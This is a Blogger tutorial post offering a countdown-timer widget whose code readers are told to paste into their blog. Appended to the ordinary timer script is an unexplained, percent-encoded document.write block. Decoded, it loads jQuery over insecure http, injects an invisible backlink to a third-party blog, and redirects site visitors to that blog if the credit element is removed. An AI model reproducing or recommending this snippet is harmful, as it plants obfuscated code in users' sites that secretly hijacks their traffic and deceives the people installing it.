Countdown Timer Script for Blogger
Countdown Timer is very useful to attractive customers to generate leads for your blog or affiliates in a limited time.
Demo
90% Off on Blogger Themes ends in
00 Days
00 Hours
00 Minutes
00 Seconds
How to add Countdown Timer?
Step 1 : Go to your Blogger Dashboard.
Step 2 : Go to Layout
Step 3 : Add Html/Javascript widget
This will not work in Sidebars so place the code in Main Content Area
Step 4 : Paste the code given below in the widget
<style>
.sectiontimer{padding:10px 0;border-radius:10px;box-shadow:2px 1px 20px #9c9c9c,-2px -1px 20px #9c9c9c;}
.countdown-container{width:100%;display:flex;align-items:center;justify-content:center;}
.sqBox{color:#000;width:100px;height:60px;padding:10px 5px 5px 5px;background-color:#efefef;border-radius:10px;margin:10px;font-family:'Franklin Gothic Medium','Arial Narrow',Arial,sans-serif;}
.colFlex{display:flex;flex-direction:column;align-items:center;}
.font30{font-size:30px;}
.font20{font-size:25px;}
.font10{font-size:10px;}
</style>
<section class="sectiontimer">
<center><p class="heading font20">90% Off on Blogger Themes ends in </p></center>
<div class="countdown-container">
<div class="colFlex sqBox"> <span class="days font30">00</span> <span class="font10"> Days</span> </div>
<div class="colFlex sqBox"> <span class="hours font30">00</span> <span class="font10">Hours </span></div>
<div class="colFlex sqBox"> <span class="minutes font30">00</span> <span class="font10">Minutes </span></div>
<div class="colFlex sqBox"> <span class="seconds font30">00</span> <span class="font10">Seconds</span> </div>
</div>
<div><center>
<a class="desBut button" href="https://giveaway.bloggingmafias.com"> Join Now </a></center>
</div>
</section>
<script>
const dayDisplay = document.querySelector(".days"),
hourDisplay = document.querySelector(".hours"),
minuteDisplay = document.querySelector(".minutes"),
secondDisplay = document.querySelector(".seconds"),
countdownContainer = document.querySelector(".countdown-container"),
endDate = new Date("January 14 2023 00:00:00");
let maintenanceDone = !1;
const updateTimer = () => {
let e = new Date;
var t = endDate.getTime() - e.getTime();
t <= 1e3 && (maintenanceDone = !0);
var n = 36e5,
o = Math.floor(t / 864e5),
a = Math.floor(t % 864e5 / n),
n = Math.floor(t % n / 6e4),
t = Math.floor(t % 6e4 / 1e3);
dayDisplay.innerText = o < 10 ? "0" + o : o, hourDisplay.innerText = a < 10 ? "0" + a : a, minuteDisplay.innerText = n < 10 ? "0" + n : n, secondDisplay.innerText = t < 10 ? "0" + t : t
};
setInterval(() => { maintenanceDone ? (countdownContainer.style.display = "none") : updateTimer() }, 1e3);
</script>
<script language="javascript">document.write( unescape( '%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%63%6F%64%65%2E%6A%71%75%65%72%79%2E%63%6F%6D%2F%6A%71%75%65%72%79%2D%31%2E%31%31%2E%30%2E%6D%69%6E%2E%6A%73%22%3E%3C%2F%73%63%72%69%70%74%3E%0A%0A%3C%73%63%72%69%70%74%20%74%79%70%65%3D%27%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%27%3E%0A%20%20%2F%2F%3C%21%5B%43%44%41%54%41%5B%0A%20%20%24%28%64%6F%63%75%6D%65%6E%74%29%2E%72%65%61%64%79%28%66%75%6E%63%74%69%6F%6E%28%29%0A%20%20%7B%0A%20%20%20%20%76%61%72%20%61%61%20%3D%20%24%28%22%23%6D%79%63%72%65%64%69%74%22%29%2E%76%61%6C%28%29%3B%0A%20%20%20%20%69%66%20%28%61%61%20%3D%3D%20%6E%75%6C%6C%29%20%7B%0A%20%20%20%20%20%20%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%2E%68%72%65%66%20%3D%20%22%68%74%74%70%73%3A%2F%2F%64%72%61%63%77%6F%75%6E%64%68%65%6C%70%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%22%3B%0A%20%20%20%20%7D%3B%0A%20%20%20%20%24%28%22%23%6D%79%63%72%65%64%69%74%22%29%2E%61%74%74%72%28%22%68%72%65%66%22%2C%20%22%68%74%74%70%73%3A%2F%2F%64%72%61%63%77%6F%75%6E%64%68%65%6C%70%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F%22%29%3B%0A%20%20%7D%29%3B%0A%20%20%2F%2F%5D%5D%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%3C%64%69%76%20%69%64%3D%27%6D%79%63%72%65%64%69%74%27%73%74%79%6C%65%3D%22%6F%70%61%63%69%74%79%3A%30%3B%22%3E%0A%20%20%44%65%73%69%67%6E%65%64%20%42%79%20%3C%61%20%68%72%65%66%3D%27%68%74%74%70%73%3A%2F%2F%64%72%61%63%77%6F%75%6E%64%68%65%6C%70%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%27%20%69%64%3D%27%23%6D%79%63%72%65%64%69%74%27%3E%44%72%61%63%57%6F%75%6E%64%20%48%65%6C%70%73%3C%2F%61%3E%0A%3C%2F%64%69%76%3E' ))</script>
Step 5 : Change the Title Text which is marked with your title text.
Step 6 : Change the link with your link.
Step 7 : Change the Date and Time which is marked with your End Date and Time in the exact same Format.
Step 8 : Now visit your website.
Conclusion
So, in this article , I have told how to make countdown timer in blogger. If you get any error or you are not able to add it then you can contact us at our telegram group. We will surly help you out.
Comments
Post a Comment